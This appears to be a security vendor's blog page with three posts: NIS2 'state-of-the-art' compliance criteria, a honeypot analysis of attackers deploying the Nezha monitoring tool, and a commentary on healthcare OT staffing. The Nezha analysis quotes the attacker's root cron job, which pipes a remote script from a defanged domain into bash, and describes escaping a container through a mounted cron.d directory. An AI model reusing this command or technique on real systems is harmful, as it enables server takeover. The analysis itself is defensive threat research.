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February 11, 2025

NIS2 Compliance: Interpreting 'State-of-the-Art' for Organisations

This blog explores key technical factors that define state-of-the-art cybersecurity. Drawing on expertise from our business, academia, and national security standards, outlining five essential criteria.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Livia Fries
Public Policy Manager, EMEA
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11
Feb 2025

NIS2 Background

17 October 2024 marked the deadline for European Union (EU) Member States to implement the NIS2 Directive into national law. The Directive aims to enhance the EU’s cybersecurity posture by establishing a high common level of cybersecurity for critical infrastructure and services. It builds on its predecessor, the 2018 NIS Directive, by expanding the number of sectors in scope, enforcing greater reporting requirements and encouraging Member States to ensure regulated organisations adopt ‘state-of-the-art' security measures to protect their networks, OT and IT systems.  

Timeline of NIS2
Figure 1: Timeline of NIS2

The challenge of NIS2 & 'state-of-the-art'

Preamble (51) - "Member States should encourage the use of any innovative technology, including artificial intelligence, the use of which could improve the detection and prevention of cyberattacks, enabling resources to be diverted towards cyberattacks more effectively."
Article 21 - calls on Member States to ensure that essential and important entities “take appropriate and proportionate” cyber security measures, and that they do so by “taking into account the state-of-the-art and, where applicable, relevant European and international standards, as well as the cost of implementation.”

Regulatory expectations and ambiguity of NIS2

While organisations in scope can rely on technical guidance provided by ENISA1 , the EU’s agency for cybersecurity, or individual guidelines provided by Member States or Public-Private Partnerships where they have been published,2 the mention of ‘state-of-the-art' remains up to interpretation in most Member States. The use of the phrase implies that cybersecurity measures must evolve continuously to keep pace with emerging threats and technological advancements without specifying what ‘state-of-the-art’ actually means for a given context and risk.3  

This ambiguity makes it difficult for organisations to determine what constitutes compliance at any given time and could lead to potential inconsistencies in implementation and enforcement. Moreover, the rapid pace of technological change means that what is considered "state-of-the-art" today will become outdated, further complicating compliance efforts.

However, this is not unique to NIS regulation. As EU scholars have noted, while “state-of-the-art" is widely referred to in legal text relating to technology, there is no standardised legal definition of what it actually constitutes.4

Defining state-of-the-art cybersecurity

In this blog, we outline technical considerations for state-of-the-art cybersecurity. We draw from expertise within our own business and in academia as well as guidelines and security standards set by national agencies, such as Germany’s Federal Office for Information Security (BSI) or Spain’s National Security Framework (ENS), to put forward five criteria to define state-of-the-art cybersecurity.

The five core criteria include:

  • Continuous monitoring
  • Incident correlation
  • Detection of anomalous activity
  • Autonomous response
  • Proactive cyber resilience

These principles build on long-standing security considerations, such as business continuity, vulnerability management and basic security hygiene practices.  

Although these considerations are written in the context of the NIS2 Directive, they are likely to also be relevant for other jurisdictions. We hope these criteria help organisations understand how to best meet their responsibilities under the NIS2 Directive and assist Competent Authorities in defining compliance expectations for the organisations they regulate.  

Ultimately, adopting state-of-the-art cyber defences is crucial for ensuring that organisations are equipped with the best tools to combat new and fast-growing threats. Leading technical authorities, such as the UK National Cyber Security Centre (NCSC), recognise that adoption of AI-powered cyber defences will offset the increased volume and impact of AI on cyber threats.5

State of the art cybersecurity in the context of NIS2

1. Continuous monitoring

Continuous monitoring is required to protect an increasingly complex attack surface from attackers.

First, organisations' attack surfaces have expanded following the widespread adoption of hybrid or cloud infrastructures and the increased adoption of connected Internet of Things (IoT) devices.6 This exponential growth creates a complex digital environment for organisations, making it difficult for security teams to track all internet-facing assets and identify potential vulnerabilities.

Second, with the significant increase in the speed and sophistication of cyber-attacks, organisations face a greater need to detect security threats and non-compliance issues in real-time.  

Continuous monitoring, defined by the U.S. National Institute of Standards and Technology (NIST) as the ability to maintain “ongoing awareness of information security, vulnerabilities, and threats to support organizational risk management decisions,”7 has therefore become a cornerstone of an effective cybersecurity strategy. By implementing continuous monitoring, organisations can ensure a real-time understanding of their attack surface and that new external assets are promptly accounted for. For instance, Spain’s technical guidelines for regulation, as set forth by the National Security Framework (Royal Decree 311/2022), highlight the importance of adopting continuous monitoring to detect anomalous activities or behaviours and to ensure timely responses to potential threats (article 10).8  

This can be achieved through the following means:  

All assets that form part of an organisation's estate, both known and unknown, must be identified and continuously monitored for current and emerging risks. Germany’s BSI mandates the continuous monitoring of all protocol and logging data in real-time (requirement #110).9 This should be conducted alongside any regular scans to detect unknown devices or cases of shadow IT, or the use of unauthorised or unmanaged applications and devices within an organisation, which can expose internet-facing assets to unmonitored risks. Continuous monitoring can therefore help identify potential risks and high-impact vulnerabilities within an organisation's digital estate and eliminate potential gaps and blind spots.

Organisations looking to implement more efficient continuous monitoring strategies may turn to automation, but, as the BSI notes, it is important for responsible parties to be immediately warned if an alert is raised (reference 110).10 Following the BSI’s recommendations, the alert must be examined and, if necessary, contained within a short period of time corresponding with the analysis of the risk at hand.

Finally, risk scoring and vulnerability mapping are also essential parts of this process. Continuous monitoring helps identify potential risks and significant vulnerabilities within an organisation's digital assets, fostering a dynamic understanding of risk. By doing so, risk scoring and vulnerability mapping allows organisations to prioritise the risks associated with their most critically exposed assets.

2. Correlation of incidents across your entire environment

Viewing and correlating incident alerts when working with different platforms and tools poses significant challenges to SecOps teams. Security professionals often struggle to cross-reference alerts efficiently, which can lead to potential delays in identifying and responding to threats. The complexity of managing multiple sources of information can overwhelm teams, making it difficult to maintain a cohesive understanding of the security landscape.

This fragmentation underscores the need for a centralised approach that provides a "single pane of glass" view of all cybersecurity alerts. These systems streamline the process of monitoring and responding to incidents, enabling security teams to act more swiftly and effectively. By consolidating alerts into a unified interface, organisations can enhance their ability to detect and mitigate threats, ultimately improving their overall security posture.  

To achieve consolidation, organisations should consider the role automation can play when reviewing and correlating incidents. This is reflected in Spain’s technical guidelines for national security regulations regarding the requirements for the “recording of activity” (reinforcement R5).12 Specifically, the guidelines state that:  

"The system shall implement tools to analyses and review system activity and audit information, in search of possible or actual security compromises. An automatic system for collection of records, correlation of events and automatic response to them shall be available”.13  

Similarly, the German guidelines stress that automated central analysis is essential not only for recording all protocol and logging data generated within the system environment but also to ensure that the data is correlated to ensure that security-relevant processes are visible (article 115).14

Correlating disparate incidents and alerts is especially important when considering the increased connectivity between IT and OT environments driven by business and functional requirements. Indeed, organisations that believe they have air-gapped systems are now becoming aware of points of IT/OT convergence within their systems. It is therefore crucial for organisations managing both IT and OT environments to be able to visualise and secure devices across all IT and OT protocols in real-time to identify potential spillovers.  

By consolidating data into a centralised system, organisations can achieve a more resilient posture. This approach exposes and eliminates gaps between people, processes, and technology before they can be exploited by malicious actors. As seen in the German and Spanish guidelines, a unified view of security alerts not only enhances the efficacy of threat detection and response but also ensures comprehensive visibility and control over the organisation's cybersecurity posture.

3. Detection of anomalous activity  

Recent research highlights the emergence of a "new normal" in cybersecurity, marked by an increase in zero-day vulnerabilities. Indeed, for the first time since sharing their annual list, the Five Eyes intelligence alliance reported that in 2023, the majority of the most routinely exploited vulnerabilities were initially exploited as zero-days.15  

To effectively combat these advanced threats, policymakers, industry and academic stakeholders alike recognise the importance of anomaly-based techniques to detect both known and unknown attacks.

As AI-enabled threats become more prevalent,16 traditional cybersecurity methods that depend on lists of "known bads" are proving inadequate against rapidly evolving and sophisticated attacks. These legacy approaches are limited because they can only identify threats that have been previously encountered and cataloged. However, cybercriminals are constantly developing new, never-before-seen threats, such as signatureless ransomware or living off the land techniques, which can easily bypass these outdated defences.

The importance of anomaly detection in cybersecurity can be found in Spain’s technical guidelines, which states that “tools shall be available to automate the prevention and response process by detecting and identifying anomalies17” (reinforcement R4 prevention and automatic response to "incident management”).  

Similarly, the UK NCSC’s Cyber Assessment Framework (CAF) highlights how anomaly-based detection systems are capable of detecting threats that “evade standard signature-based security solutions” (Principle C2 - Proactive Security Event Discovery18). The CAF’s C2 principle further outlines:  

“The science of anomaly detection, which goes beyond using pre-defined or prescriptive pattern matching, is a challenging area. Capabilities like machine learning are increasingly being shown to have applicability and potential in the field of intrusion detection.”19

By leveraging machine learning and multi-layered AI techniques, organisations can move away from static rules and signatures, adopting a more behavioural approach to identifying and containing risks. This shift not only enhances the detection of emerging threats but also provides a more robust defence mechanism.

A key component of this strategy is behavioral zero trust, which focuses on identifying unauthorized and out-of-character attempts by users, devices, or systems. Implementing a robust procedure to verify each user and issuing the minimum required access rights based on their role and established patterns of activity is essential. Organisations should therefore be encouraged to follow a robust procedure to verify each user and issue the minimum required access rights based on their role and expected or established patterns of activity. By doing so, organisations can stay ahead of emerging threats and embrace a more dynamic and resilient cybersecurity strategy.  

4. Autonomous response

The speed at which cyber-attacks occur means that defenders must be equipped with tools that match the sophistication and agility of those used by attackers. Autonomous response tools are thus essential for modern cyber defence, as they enable organisations to respond to both known and novel threats in real time.  

These tools leverage a deep contextual and behavioral understanding of the organisation to take precise actions, effectively containing threats without disrupting business operations.

To avoid unnecessary business disruptions and maintain robust security, especially in more sensitive networks such as OT environments, it is crucial for organisations to determine the appropriate response depending on their environment. This can range from taking autonomous and native actions, such as isolating or blocking devices, or integrating their autonomous response tool with firewalls or other security tools to taking customized actions.  

Autonomous response solutions should also use a contextual understanding of the business environment to make informed decisions, allowing them to contain threats swiftly and accurately. This means that even as cyber-attacks evolve and become more sophisticated, organisations can maintain continuous protection without compromising operational efficiency.  

Indeed, research into the adoption of autonomous cyber defences points to the importance of implementing “organisation-specific" and “context-informed” approaches.20  To decide the appropriate level of autonomy for each network action, it is argued, it is essential to use evidence-based risk prioritisation that is customised to the specific operations, assets, and data of individual enterprises.21

By adopting autonomous response solutions, organisations can ensure their defences are as dynamic and effective as the threats they face, significantly enhancing their overall security posture.

5. Proactive cyber resilience  

Adopting a proactive approach to cybersecurity is crucial for organisations aiming to safeguard their operations and reputation. By hardening their defences enough so attackers are unable to target them effectively, organisations can save significant time and money. This proactive stance helps reduce business disruption, reputational damage, and the need for lengthy, resource-intensive incident responses.

Proactive cybersecurity incorporates many of the strategies outlined above. This can be seen in a recent survey of information technology practitioners, which outlines four components of a proactive cybersecurity culture: (1) visibility of corporate assets, (2) leveraging intelligent and modern technology, (3) adopting consistent and comprehensive training methods and (4) implementing risk response procedures.22 To this, we may also add continuous monitoring which allows organisations to understand the most vulnerable and high-value paths across their architectures, allowing them to secure their critical assets more effectively.  

Alongside these components, a proactive cyber strategy should be based on a combined business context and knowledge, ensuring that security measures are aligned with the organisation's specific needs and priorities.  

This proactive approach to cyber resilience is reflected in Spain’s technical guidance (article 8.2): “Prevention measures, which may incorporate components geared towards deterrence or reduction of the exposure surface, should eliminate or reduce the likelihood of threats materializing.”23 It can also be found in the NCSC’s CAF, which outlines how organisations can achieve “proactive attack discovery” (see Principle C2).24 Likewise, Belgium’s NIS2 transposition guidelines mandate the use of preventive measures to ensure the continued availability of services in the event of exceptional network failures (article 30).25  

Ultimately, a proactive approach to cybersecurity not only enhances protection but also lowers regulatory risk and supports the overall resilience and stability of the organisation.

Looking forward

The NIS2 Directive marked a significant regulatory milestone in strengthening cybersecurity across the EU.26 Given the impact of emerging technologies, such as AI, on cybersecurity, it is to see that Member States are encouraged to promote the adoption of ‘state-of-the-art' cybersecurity across regulated entities.  

In this blog, we have sought to translate what state-of-the-art cybersecurity may look like for organisations looking to enhance their cybersecurity posture. To do so, we have built on existing cybersecurity guidance, research and our own experience as an AI-cybersecurity company to outline five criteria: continuous monitoring, incident correlation, detection of anomalous activity, autonomous response, and proactive cyber resilience.

By embracing these principles and evolving cybersecurity practices in line with the state-of-the-art, organisations can comply with the NIS2 Directive while building a resilient cybersecurity posture capable of withstanding evolutions in the cyber threat landscape. Looking forward, it will be interesting to see how other jurisdictions embrace new technologies, such as AI, in solving the cybersecurity problem.

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References

[1] https://www.enisa.europa.eu/publications/implementation-guidance-on-nis-2-security-measures

[2] https://www.teletrust.de/fileadmin/user_upload/2023-05_TeleTrusT_Guideline_State_of_the_art_in_IT_security_EN.pdf

[3] https://kpmg.com/uk/en/home/insights/2024/04/what-does-nis2-mean-for-energy-businesses.html

[4] https://orbilu.uni.lu/bitstream/10993/50878/1/SCHMITZ_IFIP_workshop_sota_author-pre-print.pdf

[5]https://www.ncsc.gov.uk/report/impact-of-ai-on-cyber-threat

[6] https://www.sciencedirect.com/science/article/pii/S2949715923000793

[7] https://csrc.nist.gov/glossary/term/information_security_continuous_monitoring

[8] https://ens.ccn.cni.es/es/docman/documentos-publicos/39-boe-a-2022-7191-national-security-framework-ens/file

[9] https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/KRITIS/Konkretisierung_Anforderungen_Massnahmen_KRITIS.html

[10] https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/KRITIS/Konkretisierung_Anforderungen_Massnahmen_KRITIS.html

[12] https://ens.ccn.cni.es/es/docman/documentos-publicos/39-boe-a-2022-7191-national-security-framework-ens/file

[13] https://ens.ccn.cni.es/es/docman/documentos-publicos/39-boe-a-2022-7191-national-security-framework-ens/file

[14] https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/KRITIS/Konkretisierung_Anforderungen_Massnahmen_KRITIS.html

[15] https://therecord.media/surge-zero-day-exploits-five-eyes-report

[16] https://www.ncsc.gov.uk/report/impact-of-ai-on-cyber-threat

[17] https://ens.ccn.cni.es/es/docman/documentos-publicos/39-boe-a-2022-7191-national-security-framework-ens/file

[18] https://www.ncsc.gov.uk/collection/cyber-assessment-framework/caf-objective-c-detecting-cyber-security-events/principle-c2-proactive-security-event-discovery

[19] https://www.ncsc.gov.uk/collection/cyber-assessment-framework/caf-objective-c-detecting-cyber-security-events/principle-c2-proactive-security-event-discovery

[20] https://cetas.turing.ac.uk/publications/autonomous-cyber-defence-autonomous-agents

[21] https://cetas.turing.ac.uk/publications/autonomous-cyber-defence-autonomous-agents

[22] https://www.researchgate.net/publication/376170443_Cultivating_Proactive_Cybersecurity_Culture_among_IT_Professional_to_Combat_Evolving_Threats

[23] https://ens.ccn.cni.es/es/docman/documentos-publicos/39-boe-a-2022-7191-national-security-framework-ens/file

[24] https://www.ncsc.gov.uk/collection/cyber-assessment-framework/caf-objective-c-detecting-cyber-security-events/principle-c2-proactive-security-event-discovery

[25] https://www.ejustice.just.fgov.be/mopdf/2024/05/17_1.pdf#page=49

[26] ENISA, NIS Directive 2

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Livia Fries
Public Policy Manager, EMEA

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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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Nathaniel Bill
Malware Research Engineer

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

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Daniel Simonds
Director of Operational Technology
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